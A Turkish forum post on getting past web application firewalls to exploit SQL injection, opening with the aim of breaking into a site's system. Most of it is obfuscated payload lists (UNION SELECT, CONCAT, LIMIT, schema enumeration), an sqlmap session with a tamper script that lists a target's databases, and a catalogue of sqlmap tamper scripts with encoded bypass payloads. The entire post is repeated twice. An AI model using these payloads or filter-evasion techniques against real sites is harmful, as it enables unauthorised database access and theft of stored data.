Post by ``Thunder_Գ on Dec 12, 2016 14:53:20 GMT
WAF Web Uygulamalarının Güvenlik Duvarlarıdır.
Bir Sitenin sistemine sızmak istediğimizde onun içindeki web applicationlarda acık ararız.
Peki bu acık türleri nelerdir ?
-SQL İnjection
-XSS(Cross Site Script)
-LFI/RFI-(Local File İnclude)/(Remote File İnclude)
-Command Injection
-Code Execution ve Diğer Application’slar Olabilir.
Ancak bu acıklar engellenebilir olduğundan,bunu bypass ederek açığı bulabilir ve bypass edebiliriz.
UNION SELECT BYPASS METODLARI
+--+Union+--+Select+--+
+#uNiOn+#sEleCt+
+union+distinct+select+
+union+distinctROW+select+
+union%23aa%0Aselect+
0%a0union%a0select%09
%0Aunion%0Aselect%0A
+UnIoN+SeLselectECT+
/%2A%2A/union/%2A%2A/select/%2A%2A/
%2f%2a*/UNION%2f%2a*/SELECT%2f%2a*/
+%2F**%2Funion%2F**%2Fselect+
+UnIoN/*&a=*/SeLeCT/*&a=*/
+%0A%0D/*!%0A%0Dunion*/+%0A%0D/*!50000Select*/%0A%0D
/*!20000%0d%0aunion*/+/*!20000%0d%0aSelEct*/
%252f%252a*/UNION%252f%252a /SELECT%252f%252a*/
CONCAT BYPASS METODLARI
group_concat()
grOUp_ConCat(/*!*/,0x3e,/*!*/)
group_concat(,0x3c62723e)
g%72oup_c%6Fncat%28%76%65rsion%28%29,%22B3yaz%22%2 9
g%72oup_c%6Fncat%28%76%65rsion%28%29%2C%22B3yaz%22 %29
group_concat%28version%28%29%2C%22B3yaz%22%29
CoNcAt()
concat()
CoNcAt()
CONCAT(DISTINCT )
concat(0x3a,,0x3c62723e)
/*!50000cOnCat*/
concat_ws()
concat_ws(0x3a,)
CONCAT_WS(CHAR(32,58,32),version(),)
REVERSE(tacnoc)
binary(version())
uncompress(compress(version()))
aes_decrypt(aes_encrypt(version(),1),1)
LIMIT BYPASS METODLARI
+LIMIT+0,1
+where+id+=1
WHERE ID_Produit='26 -- -
+having+id+=1
+and length((select password from users having substr(pass,1,1)=’a'))
[4] Null Parameter
id=-1
id=null
id=1+and+false+
id=9999
id=1 and 0
id==1
id=(-1)
=1=1
+And+1=0
/*!and*/+1=0
COLUMN BYPASS METODLARI
Having+1=1
+and=0+
+div+0+
replace ' = %23
where 1=1
TABLE BYPASS METOD
(/*!50000%53elect*/%0A/*!50000%54able_name*/%0A%0A/*!50000%46roM*/%0A/*!50000%49nfORmaTion_%53cHema . %54AblES*/%0A/*!50000%57here*/%0A%54able_ScHEmA=schEMA()%0Alimit%0A0,1)
HEX/UNHEX BYPASS METOD
unhex(hex(value))
convert(database() using latin1)
cast(value as char)
uncompress(compress(version()))
cast(value as char)
aes_decrypt(aes_encrypt(value,1),1)
binary(value)
convert()
Bu kodları çeşitlerine göre url yanına yazarak hata mesajı almayı deneyebiliriz.
Ya da SQLMAP'in "tamper scprit" özelliğini kullanabiliriz.
Örnek ile acıklayacak olursak:
Aşağıda WAF kullanan bir sisteme SQLmap'in default kullanım parametresi verilmiştir ve sonuç alınamamıştır;
Kod:
root@bt:/pentest/database/sqlmap# ./sqlmap.py -u "http://1.2.3.4/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "security=medium; PHPSESSID=de9fd298875093226427e5475c47b5eb" --tamper "tamper/randomcase.py" --dbs
[*] starting at 16:16:24
[16:16:24] [INFO] loading tamper script 'randomcase'
[16:16:24] [INFO] testing connection to the target url
[16:16:25] [INFO] testing if the url is stable, wait a few seconds
[16:16:26] [INFO] url is stable
[16:16:26] [INFO] testing if GET parameter 'id' is dynamic
[16:16:26] [WARNING] GET parameter 'id' appears to be not dynamic
[16:16:26] [INFO] heuristics detected web page charset 'ascii'
[16:16:26] [WARNING] reflective value(s) found and filtering out
[16:16:26] [INFO] heuristic test shows that GET parameter 'id' might be injectable (possible DBMS: MySQL)
[16:16:26] [INFO] testing for SQL injection on GET parameter 'id'
[16:16:26] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[16:16:26] [INFO] GET parameter 'id' seems to be 'AND boolean-based blind - WHERE or HAVING clause' injectable (with --string='Surname: admin')
[16:16:26] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause'
[16:16:26] [INFO] GET parameter 'id' is 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause' injectable
[16:16:26] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[16:16:26] [WARNING] time-based comparison needs larger statistical model. Making a few dummy requests, please wait..
[16:16:27] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[16:16:37] [INFO] GET parameter 'id' is 'MySQL > 5.0.11 AND time-based blind' injectable
[16:16:37] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns'
[16:16:37] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other injection technique found
[16:16:37] [INFO] ORDER BY technique seems to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
[16:16:37] [INFO] target url appears to have 2 columns in query
[16:16:37] [INFO] GET parameter 'id' is 'MySQL UNION query (NULL) - 1 to 20 columns' injectable
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection points with a total of 19 HTTP(s) requests:
---
Place: GET
Parameter: id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=1 AND 3106=3106&Submit=Submit
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: id=1 AND (SELECT 2385 FROM(SELECT COUNT(*),CONCAT(0x3a72796b3a,(SELECT (CASE WHEN (2385=2385) THEN 1 ELSE 0 END)),0x3a6b6e693a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)&Submit=Submit
Type: UNION query
Title: MySQL UNION query (NULL) - 2 columns
Payload: id=1 LIMIT 1,1 UNION ALL SELECT CONCAT(0x3a72796b3a,0x4f676a51626745675562,0x3a6b6e693a), NULL#&Submit=Submit
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: id=1 AND SLEEP(5)&Submit=Submit
---
[16:16:41] [INFO] changes made by tampering scripts are not included in shown payload content(s)
[16:16:41] [INFO] the back-end DBMS is MySQL
web server operating system: Windows
web application technology: PHP 5.2.6, Apache 2.2.8
back-end DBMS: MySQL 5.0
[16:16:41] [INFO] fetching database names
available databases [7]:[*] beyazsapka[*] dvwa[*] information_schema[*] mysql[*] phpmyadmin[*] test[*] yenibir_siparis
[16:16:41] [INFO] fetched data logged to text files under '/pentest/database/sqlmap/output/192.168.1.127'[*] shutting down at 16:16:41
Görüldüğü gibi hedef sistemdeki koruyucu mekanizma atlatılmış oldu..
SQLmap'in yüklü olduğu dizinde "tamper" isimli klasörde çeşitli bypass scriptleri bulunmaktadır. Biz yukardaki testte "tamper" klasörünün içinde "randomcase.py" scriptinden faydalandık. Bu scriptin görevi UNION gibi sql komutlarını rastgele büyük-küçük harf şeklinde düzenleyerek karşı sisteme yollar ve WAF var ise bypass etmiş olur.
Birde tamper klasöründe bulunan diğer bypass scpritlerinin isimleri,bypass yöntemleri ve hangi veritabanı platformunda iş gördüğünü yazalım..
apostrophemask.py (UTF-8)
Örnek:
* Orjinal Komut: AND '1'='1'
* Bypass Komutu: AND %EF%BC%871%EF%BC%87=%EF%BC%871%EF%BC%87
apostrophenullencode.py (unicode)
Örnek:
* Orjinal Komut: AND '1'='1'
* Bypass Komutu: AND %271%27=%271%27
appendnullbyte.py ()
Örnek:
* Orjinal Komut: AND 1=1
* Bypass Komutu: AND 1=1
Platform:
* Microsoft Access
base64encode.py (base64)
Örnek:
* Orjinal Komut: 1' AND SLEEP(5)#
* Bypass Komutu: MScgQU5EIFNMRUVQKDUpIw==
between.py (“not between” “>”)
Örnek:
* Orjinal Komut: 'A > B'
* Bypass Komutu: 'A NOT BETWEEN 0 AND B'
bluecoat.py (“like” “=”)
Örnek:
* Orjinal Komut: SELECT id FROM users where id = 1
* Bypass Komutu: SELECT%09id FROM users where id LIKE 1
Platform:
* MySQL 5.1, SGOS
chardoubleencode.py
Örnek:
* Orjinal Komut: SELECT FIELD FROM%20TABLE
* Bypass Komutu: %2553%2545%254c%2545%2543%2554%2520%2546%2549%2545 %254c%2544%2520%2546%2552%254f%254d%2520%2554%2541 %2542%254c%2545
charencode.py
Örnek:
* Orjinal Komut: SELECT FIELD FROM%20TABLE
* Bypass Komutu: %53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4 d%20%54%41%42%4c%45
charunicodeencode.py
Örnek:
* Orjinal Komut: SELECT FIELD%20FROM TABLE
* Bypass Komutu: %u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u 0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u00 4d%u0020%u0054%u0041%u0042%u004c%u0045'
Platform:
* ASP
* ASP.NET
equaltolike.py (“like” “=”)
Örnek:
* Orjinal Komut: SELECT * FROM users WHERE id=1
* Bypass Komutu: SELECT * FROM users WHERE id LIKE 1
halfversionedmorekeywords.py
Örnek:
* Orjinal Komut: value' UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT _USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND 'QDWa'='QDWa
* Bypass Komutu: value'/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)), NULL, NULL#/*!0AND 'QDWa'='QDWa
Platform:
* MySQL < 5.1
ifnull2ifisnull.py (“IF(ISNULL(A), B, A)” “IFNULL(A, B)”)
Örnek:
* Orjinal Komut: IFNULL(1, 2)
* Bypass Komutu: IF(ISNULL(1), 2, 1)
Platform:
* MySQL
* SQLite (possibly)
* SAP MaxDB (possibly)
modsecurityversioned.py
Örnek:
* Orjinal Komut: 1 AND 2>1--
* Bypass Komutu: 1 /*!30000AND 2>1*/--
Platform:
* MySQL
modsecurityzeroversioned.py (“0000”)
Örnek:
* Orjinal Komut: 1 AND 2>1--
* Bypass Komutu: 1 /*!00000AND 2>1*/--
Platform:
* MySQL
multiplespaces.py
Örnek:
* Orjinal Komut: UNION SELECT
* Bypass Komutu: UNION SELECT
nonrecursivereplacement.py
Örnek:
* Orjinal Komut: 1 UNION SELECT 2--
* Bypass Komutu: 1 UNUNIONION SELSELECTECT 2--
percentage.py (“%”)
Örnek:
* Orjinal Komut: SELECT FIELD FROM TABLE
* Bypass Komutu: %S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%E
Platform:
* ASP
randomcase.py
Örnek:
* Orjinal Komut: INSERT
* Bypass Komutu: InsERt
randomcomments.py
Örnek:
'INSERT' becomes 'IN/**/S/**/ERT'
securesphere.py
Örnek:
* Orjinal Komut: AND 1=1
* Bypass Komutu: AND 1=1 and '0having'='0having'
sp_password.py (“sp_password”)
Örnek:
* Orjinal Komut: 1 AND 9227=9227--
* Bypass Komutu: 1 AND 9227=9227--sp_password
Platform:
* MSSQL
space2comment.py
Örnek:
* Orjinal Komut: SELECT id FROM users
* Bypass Komutu: SELECT/**/id/**/FROM/**/users
space2dash.py (“--”)
Örnek:
* Orjinal Komut: 1 AND 9227=9227
* Bypass Komutu: 1--PTTmJopxdWJ%0AAND--cWfcVRPV%0A9227=9227
Platform:
* MSSQL
* SQLite
space2hash.py
Örnek:
* Orjinal Komut: 1 AND 9227=9227
* Bypass Komutu: 1%23PTTmJopxdWJ%0AAND%23cWfcVRPV%0A9227=9227
Platform:
* MySQL
space2morehash.py
Platform:
* MySQL >= 5.1.13
space2mssqlblank.py
Örnek:
* Orjinal Komut: SELECT id FROM users
* Bypass Komutu: SELECT%08id%02FROM%0Fusers
Platform:
* Microsoft SQL Server
space2mssqlhash.py
Örnek:
* Orjinal Komut: 1 AND 9227=9227
* Bypass Komutu: 1%23%0A9227=9227
Platform:
* MSSQL
* MySQL
space2mysqlblank.py
Örnek:
* Orjinal Komut: SELECT id FROM users
* Bypass Komutu: SELECT%0Bid%0BFROM%A0users
Platform:
* MySQL
space2mysqldash.py
Örnek:
* Orjinal Komut: 1 AND 9227=9227
* Bypass Komutu: 1--%0AAND--%0A9227=9227
Platform:
* MySQL
* MSSQL
space2plus.py (“+”)
Örnek:
* Orjinal Komut: SELECT id FROM users
* Bypass Komutu: SELECT+id+FROM+users
space2randomblank.py
Örnek:
* Orjinal Komut: SELECT id FROM users
* Bypass Komutu: SELECTridtFROMnusers
unionalltounion.py (“union all” “union”)
Örnek:
* Orjinal Komut: -1 UNION ALL SELECT
* Bypass Komutu: -1 UNION SELECT
unmagicquotes.py (“%bf%27” “--”)
Örnek:
* Orjinal Komut: 1' AND 1=1
* Bypass Komutu: 1%bf%27 AND 1=1--%20
versionedkeywords.py
Örnek:
* Orjinal Komut: 1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT _USER() AS CHAR),CHAR(32)),CHAR(58,100,114,117,58))#
* Bypass Komutu: 1/*!UNION*//*!ALL*//*!SELECT*//*!NULL*/,/*!NULL*/,CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURREN T_USER()/*!AS*//*!CHAR*/),CHAR(32)),CHAR(58,100,114,117,58))#
Platform:
* MySQL
versionedmorekeywords.py
Örnek:
* Orjinal Komut: 1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,122,114,115,58),IFNULL(CAST(CURRENT _USER() AS CHAR),CHAR(32)),CHAR(58,115,114,121,58))#
* Bypass Komutu: 1/*!UNION*//*!ALL*//*!SELECT*//*!NULL*/,/*!NULL*/,/*!CONCAT*/(/*!CHAR*/(58,122,114,115,58),/*!IFNULL*/(CAST(/*!CURRENT_USER*/()/*!AS*//*!CHAR*/),/*!CHAR*/(32)),/*!CHAR*/(58,115,114,121,58))#
Platform:
* MySQL >= 5.1.13
Bir Sitenin sistemine sızmak istediğimizde onun içindeki web applicationlarda acık ararız.
Peki bu acık türleri nelerdir ?
-SQL İnjection
-XSS(Cross Site Script)
-LFI/RFI-(Local File İnclude)/(Remote File İnclude)
-Command Injection
-Code Execution ve Diğer Application’slar Olabilir.
Ancak bu acıklar engellenebilir olduğundan,bunu bypass ederek açığı bulabilir ve bypass edebiliriz.
UNION SELECT BYPASS METODLARI
+--+Union+--+Select+--+
+#uNiOn+#sEleCt+
+union+distinct+select+
+union+distinctROW+select+
+union%23aa%0Aselect+
0%a0union%a0select%09
%0Aunion%0Aselect%0A
+UnIoN+SeLselectECT+
/%2A%2A/union/%2A%2A/select/%2A%2A/
%2f%2a*/UNION%2f%2a*/SELECT%2f%2a*/
+%2F**%2Funion%2F**%2Fselect+
+UnIoN/*&a=*/SeLeCT/*&a=*/
+%0A%0D/*!%0A%0Dunion*/+%0A%0D/*!50000Select*/%0A%0D
/*!20000%0d%0aunion*/+/*!20000%0d%0aSelEct*/
%252f%252a*/UNION%252f%252a /SELECT%252f%252a*/
CONCAT BYPASS METODLARI
group_concat()
grOUp_ConCat(/*!*/,0x3e,/*!*/)
group_concat(,0x3c62723e)
g%72oup_c%6Fncat%28%76%65rsion%28%29,%22B3yaz%22%2 9
g%72oup_c%6Fncat%28%76%65rsion%28%29%2C%22B3yaz%22 %29
group_concat%28version%28%29%2C%22B3yaz%22%29
CoNcAt()
concat()
CoNcAt()
CONCAT(DISTINCT )
concat(0x3a,,0x3c62723e)
/*!50000cOnCat*/
concat_ws()
concat_ws(0x3a,)
CONCAT_WS(CHAR(32,58,32),version(),)
REVERSE(tacnoc)
binary(version())
uncompress(compress(version()))
aes_decrypt(aes_encrypt(version(),1),1)
LIMIT BYPASS METODLARI
+LIMIT+0,1
+where+id+=1
WHERE ID_Produit='26 -- -
+having+id+=1
+and length((select password from users having substr(pass,1,1)=’a'))
[4] Null Parameter
id=-1
id=null
id=1+and+false+
id=9999
id=1 and 0
id==1
id=(-1)
=1=1
+And+1=0
/*!and*/+1=0
COLUMN BYPASS METODLARI
Having+1=1
+and=0+
+div+0+
replace ' = %23
where 1=1
TABLE BYPASS METOD
(/*!50000%53elect*/%0A/*!50000%54able_name*/%0A%0A/*!50000%46roM*/%0A/*!50000%49nfORmaTion_%53cHema . %54AblES*/%0A/*!50000%57here*/%0A%54able_ScHEmA=schEMA()%0Alimit%0A0,1)
HEX/UNHEX BYPASS METOD
unhex(hex(value))
convert(database() using latin1)
cast(value as char)
uncompress(compress(version()))
cast(value as char)
aes_decrypt(aes_encrypt(value,1),1)
binary(value)
convert()
Bu kodları çeşitlerine göre url yanına yazarak hata mesajı almayı deneyebiliriz.
Ya da SQLMAP'in "tamper scprit" özelliğini kullanabiliriz.
Örnek ile acıklayacak olursak:
Aşağıda WAF kullanan bir sisteme SQLmap'in default kullanım parametresi verilmiştir ve sonuç alınamamıştır;
Kod:
root@bt:/pentest/database/sqlmap# ./sqlmap.py -u "http://1.2.3.4/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "security=medium; PHPSESSID=de9fd298875093226427e5475c47b5eb" --tamper "tamper/randomcase.py" --dbs
[*] starting at 16:16:24
[16:16:24] [INFO] loading tamper script 'randomcase'
[16:16:24] [INFO] testing connection to the target url
[16:16:25] [INFO] testing if the url is stable, wait a few seconds
[16:16:26] [INFO] url is stable
[16:16:26] [INFO] testing if GET parameter 'id' is dynamic
[16:16:26] [WARNING] GET parameter 'id' appears to be not dynamic
[16:16:26] [INFO] heuristics detected web page charset 'ascii'
[16:16:26] [WARNING] reflective value(s) found and filtering out
[16:16:26] [INFO] heuristic test shows that GET parameter 'id' might be injectable (possible DBMS: MySQL)
[16:16:26] [INFO] testing for SQL injection on GET parameter 'id'
[16:16:26] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[16:16:26] [INFO] GET parameter 'id' seems to be 'AND boolean-based blind - WHERE or HAVING clause' injectable (with --string='Surname: admin')
[16:16:26] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause'
[16:16:26] [INFO] GET parameter 'id' is 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause' injectable
[16:16:26] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[16:16:26] [WARNING] time-based comparison needs larger statistical model. Making a few dummy requests, please wait..
[16:16:27] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[16:16:37] [INFO] GET parameter 'id' is 'MySQL > 5.0.11 AND time-based blind' injectable
[16:16:37] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns'
[16:16:37] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other injection technique found
[16:16:37] [INFO] ORDER BY technique seems to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
[16:16:37] [INFO] target url appears to have 2 columns in query
[16:16:37] [INFO] GET parameter 'id' is 'MySQL UNION query (NULL) - 1 to 20 columns' injectable
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection points with a total of 19 HTTP(s) requests:
---
Place: GET
Parameter: id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=1 AND 3106=3106&Submit=Submit
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: id=1 AND (SELECT 2385 FROM(SELECT COUNT(*),CONCAT(0x3a72796b3a,(SELECT (CASE WHEN (2385=2385) THEN 1 ELSE 0 END)),0x3a6b6e693a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)&Submit=Submit
Type: UNION query
Title: MySQL UNION query (NULL) - 2 columns
Payload: id=1 LIMIT 1,1 UNION ALL SELECT CONCAT(0x3a72796b3a,0x4f676a51626745675562,0x3a6b6e693a), NULL#&Submit=Submit
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: id=1 AND SLEEP(5)&Submit=Submit
---
[16:16:41] [INFO] changes made by tampering scripts are not included in shown payload content(s)
[16:16:41] [INFO] the back-end DBMS is MySQL
web server operating system: Windows
web application technology: PHP 5.2.6, Apache 2.2.8
back-end DBMS: MySQL 5.0
[16:16:41] [INFO] fetching database names
available databases [7]:[*] beyazsapka[*] dvwa[*] information_schema[*] mysql[*] phpmyadmin[*] test[*] yenibir_siparis
[16:16:41] [INFO] fetched data logged to text files under '/pentest/database/sqlmap/output/192.168.1.127'[*] shutting down at 16:16:41
Görüldüğü gibi hedef sistemdeki koruyucu mekanizma atlatılmış oldu..
SQLmap'in yüklü olduğu dizinde "tamper" isimli klasörde çeşitli bypass scriptleri bulunmaktadır. Biz yukardaki testte "tamper" klasörünün içinde "randomcase.py" scriptinden faydalandık. Bu scriptin görevi UNION gibi sql komutlarını rastgele büyük-küçük harf şeklinde düzenleyerek karşı sisteme yollar ve WAF var ise bypass etmiş olur.
Birde tamper klasöründe bulunan diğer bypass scpritlerinin isimleri,bypass yöntemleri ve hangi veritabanı platformunda iş gördüğünü yazalım..
apostrophemask.py (UTF-8)
Örnek:
* Orjinal Komut: AND '1'='1'
* Bypass Komutu: AND %EF%BC%871%EF%BC%87=%EF%BC%871%EF%BC%87
apostrophenullencode.py (unicode)
Örnek:
* Orjinal Komut: AND '1'='1'
* Bypass Komutu: AND %271%27=%271%27
appendnullbyte.py ()
Örnek:
* Orjinal Komut: AND 1=1
* Bypass Komutu: AND 1=1
Platform:
* Microsoft Access
base64encode.py (base64)
Örnek:
* Orjinal Komut: 1' AND SLEEP(5)#
* Bypass Komutu: MScgQU5EIFNMRUVQKDUpIw==
between.py (“not between” “>”)
Örnek:
* Orjinal Komut: 'A > B'
* Bypass Komutu: 'A NOT BETWEEN 0 AND B'
bluecoat.py (“like” “=”)
Örnek:
* Orjinal Komut: SELECT id FROM users where id = 1
* Bypass Komutu: SELECT%09id FROM users where id LIKE 1
Platform:
* MySQL 5.1, SGOS
chardoubleencode.py
Örnek:
* Orjinal Komut: SELECT FIELD FROM%20TABLE
* Bypass Komutu: %2553%2545%254c%2545%2543%2554%2520%2546%2549%2545 %254c%2544%2520%2546%2552%254f%254d%2520%2554%2541 %2542%254c%2545
charencode.py
Örnek:
* Orjinal Komut: SELECT FIELD FROM%20TABLE
* Bypass Komutu: %53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4 d%20%54%41%42%4c%45
charunicodeencode.py
Örnek:
* Orjinal Komut: SELECT FIELD%20FROM TABLE
* Bypass Komutu: %u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u 0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u00 4d%u0020%u0054%u0041%u0042%u004c%u0045'
Platform:
* ASP
* ASP.NET
equaltolike.py (“like” “=”)
Örnek:
* Orjinal Komut: SELECT * FROM users WHERE id=1
* Bypass Komutu: SELECT * FROM users WHERE id LIKE 1
halfversionedmorekeywords.py
Örnek:
* Orjinal Komut: value' UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT _USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND 'QDWa'='QDWa
* Bypass Komutu: value'/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)), NULL, NULL#/*!0AND 'QDWa'='QDWa
Platform:
* MySQL < 5.1
ifnull2ifisnull.py (“IF(ISNULL(A), B, A)” “IFNULL(A, B)”)
Örnek:
* Orjinal Komut: IFNULL(1, 2)
* Bypass Komutu: IF(ISNULL(1), 2, 1)
Platform:
* MySQL
* SQLite (possibly)
* SAP MaxDB (possibly)
modsecurityversioned.py
Örnek:
* Orjinal Komut: 1 AND 2>1--
* Bypass Komutu: 1 /*!30000AND 2>1*/--
Platform:
* MySQL
modsecurityzeroversioned.py (“0000”)
Örnek:
* Orjinal Komut: 1 AND 2>1--
* Bypass Komutu: 1 /*!00000AND 2>1*/--
Platform:
* MySQL
multiplespaces.py
Örnek:
* Orjinal Komut: UNION SELECT
* Bypass Komutu: UNION SELECT
nonrecursivereplacement.py
Örnek:
* Orjinal Komut: 1 UNION SELECT 2--
* Bypass Komutu: 1 UNUNIONION SELSELECTECT 2--
percentage.py (“%”)
Örnek:
* Orjinal Komut: SELECT FIELD FROM TABLE
* Bypass Komutu: %S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%E
Platform:
* ASP
randomcase.py
Örnek:
* Orjinal Komut: INSERT
* Bypass Komutu: InsERt
randomcomments.py
Örnek:
'INSERT' becomes 'IN/**/S/**/ERT'
securesphere.py
Örnek:
* Orjinal Komut: AND 1=1
* Bypass Komutu: AND 1=1 and '0having'='0having'
sp_password.py (“sp_password”)
Örnek:
* Orjinal Komut: 1 AND 9227=9227--
* Bypass Komutu: 1 AND 9227=9227--sp_password
Platform:
* MSSQL
space2comment.py
Örnek:
* Orjinal Komut: SELECT id FROM users
* Bypass Komutu: SELECT/**/id/**/FROM/**/users
space2dash.py (“--”)
Örnek:
* Orjinal Komut: 1 AND 9227=9227
* Bypass Komutu: 1--PTTmJopxdWJ%0AAND--cWfcVRPV%0A9227=9227
Platform:
* MSSQL
* SQLite
space2hash.py
Örnek:
* Orjinal Komut: 1 AND 9227=9227
* Bypass Komutu: 1%23PTTmJopxdWJ%0AAND%23cWfcVRPV%0A9227=9227
Platform:
* MySQL
space2morehash.py
Platform:
* MySQL >= 5.1.13
space2mssqlblank.py
Örnek:
* Orjinal Komut: SELECT id FROM users
* Bypass Komutu: SELECT%08id%02FROM%0Fusers
Platform:
* Microsoft SQL Server
space2mssqlhash.py
Örnek:
* Orjinal Komut: 1 AND 9227=9227
* Bypass Komutu: 1%23%0A9227=9227
Platform:
* MSSQL
* MySQL
space2mysqlblank.py
Örnek:
* Orjinal Komut: SELECT id FROM users
* Bypass Komutu: SELECT%0Bid%0BFROM%A0users
Platform:
* MySQL
space2mysqldash.py
Örnek:
* Orjinal Komut: 1 AND 9227=9227
* Bypass Komutu: 1--%0AAND--%0A9227=9227
Platform:
* MySQL
* MSSQL
space2plus.py (“+”)
Örnek:
* Orjinal Komut: SELECT id FROM users
* Bypass Komutu: SELECT+id+FROM+users
space2randomblank.py
Örnek:
* Orjinal Komut: SELECT id FROM users
* Bypass Komutu: SELECTridtFROMnusers
unionalltounion.py (“union all” “union”)
Örnek:
* Orjinal Komut: -1 UNION ALL SELECT
* Bypass Komutu: -1 UNION SELECT
unmagicquotes.py (“%bf%27” “--”)
Örnek:
* Orjinal Komut: 1' AND 1=1
* Bypass Komutu: 1%bf%27 AND 1=1--%20
versionedkeywords.py
Örnek:
* Orjinal Komut: 1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT _USER() AS CHAR),CHAR(32)),CHAR(58,100,114,117,58))#
* Bypass Komutu: 1/*!UNION*//*!ALL*//*!SELECT*//*!NULL*/,/*!NULL*/,CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURREN T_USER()/*!AS*//*!CHAR*/),CHAR(32)),CHAR(58,100,114,117,58))#
Platform:
* MySQL
versionedmorekeywords.py
Örnek:
* Orjinal Komut: 1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,122,114,115,58),IFNULL(CAST(CURRENT _USER() AS CHAR),CHAR(32)),CHAR(58,115,114,121,58))#
* Bypass Komutu: 1/*!UNION*//*!ALL*//*!SELECT*//*!NULL*/,/*!NULL*/,/*!CONCAT*/(/*!CHAR*/(58,122,114,115,58),/*!IFNULL*/(CAST(/*!CURRENT_USER*/()/*!AS*//*!CHAR*/),/*!CHAR*/(32)),/*!CHAR*/(58,115,114,121,58))#
Platform:
* MySQL >= 5.1.13